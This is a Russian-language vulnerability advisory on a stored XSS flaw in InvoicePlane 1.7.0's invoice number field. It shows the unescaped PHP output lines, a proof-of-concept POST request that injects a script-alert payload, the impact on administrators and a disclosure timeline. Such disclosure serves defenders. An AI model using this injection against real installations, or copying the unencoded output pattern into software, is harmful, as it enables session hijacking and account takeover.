
# Уязвимость хранимого XSS в InvoicePlane 1.7.0 через несанитизированное поле номера счёта, с доказательством концепции и деталями устранения.
Уязвимость: Хранимый межсайтовый скриптинг (XSS) через поле «Номер счёта»
Продукт: InvoicePlane
Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)
Серьёзность: Средняя
Оценка CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы
Обнаружил: Leonidas Agathos
Дата отчёта: 2026-01-31
Поле invoice_number в форме счёта принимает произвольные входные данные без санитизации. Значение сохраняется и выводится без кодирования в нескольких местах: в заголовке страницы просмотра счёта, в поле ввода номера счёта и в виджете последних счетов на панели управления. Вредоносная нагрузка срабатывает всякий раз, когда любой администратор просматривает затронутый счёт или заходит на панель управления.
Уязвимые файлы:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Line 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Line 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Line 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
Шаг 1 — Внедрение вредоносной нагрузки в номер счёта
Создайте или отредактируйте счёт по адресу /index.php/invoices/form/{id} и установите номер счёта:
<script>alert("XSS in Invoices")</script>
Запрос:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Шаг 2 — Запуск XSS
Перейдите по адресу /index.php/invoices/view/{id} или /index.php/dashboard. Вредоносная нагрузка срабатывает при загрузке страницы.

Вредоносная нагрузка выполняется в браузере любого администратора, который просматривает затронутый счёт или заходит на панель управления. Это позволяет перехватывать сессии (если файлы cookie не защищены флагом HttpOnly), похищать CSRF-токены и выполнять действия от имени жертвы.
| Дата | Событие |
|---|---|
| 2026-01-30 | Уязвимость обнаружена |
| 2026-01-31 | Разработано доказательство концепции |
| 2026-01-31 | Уведомлён поставщик |
| 2026-02-04 | Подтверждение поставщиком |
| 2026-02-04 | Выпущен патч |
| 2026-02-05 | Публичное раскрытие |
Эта уязвимость была обнаружена в ходе независимого исследования безопасности. Вся информация предоставляется строго в образовательных, исследовательских и защитных целях, чтобы помочь поставщику и сообществу специалистов по безопасности понять и устранить проблему. Любое злонамеренное использование этой информации строго запрещено.